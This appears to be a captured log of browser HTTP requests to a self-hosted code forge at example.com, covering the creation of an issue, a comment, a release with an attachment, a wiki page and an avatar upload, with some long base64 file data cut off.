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 truncated
{"method": "POST", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1281", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBVS0yCpwcYAG4g1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBuild fails on a clean checkout\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThe build stops after the first step. It works on the second try.\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n179d62f5-4ae4-4e5e-9893-269ae399ca12\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files_fullpath[179d62f5-4ae4-4e5e-9893-269ae399ca12]\"\r\n\r\nscreenshot.png\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"edit_mode\"\r\n\r\ntrue\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"search\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1--\r\n"}
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 38", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1"}
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/1/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/attachments/179d62f5-4ae4-4e5e-9893-269ae399ca12", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/issues/1/comments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 163", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuLA6czyWTpPLGhxN", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryuLA6czyWTpPLGhxN\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThanks, I can see it too.\r\n------WebKitFormBoundaryuLA6czyWTpPLGhxN--\r\n"}
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 55", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1%23issuecomment-1"}
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/releases/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygH3DxdI69SJCwZ2b", "Origin: http://example.com", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarygH3DxdI69SJCwZ2b\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tools-linux-amd64.tar.gz\"\r\nContent-Type: application/gzip\r\n\r\neJwryc/PKVZIysxLLKosGQFsAIkDYLk=\r\n------WebKitFormBoundarygH3DxdI69SJCwZ2b--\r\n"}
{"method": "POST", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tag_name=v1.1.0&tag_target=main&title=Version+1.1.0&content=Faster+builds.&attachment-template-new-name=&attachment-template-new-exturl=&files=a637a7ba-b419-4ec3-8c33-1c119e93bc14&files_fullpath%5Ba637a7ba-b419-4ec3-8c33-1c119e93bc14%5D=tools-linux-amd64.tar.gz"}
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Getting+started&content=Clone+the+repository+and+run+the+build.&message="}
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/user/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR5Mv0yttLbvaY13B", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryR5Mv0yttLbvaY13B\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DYour%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
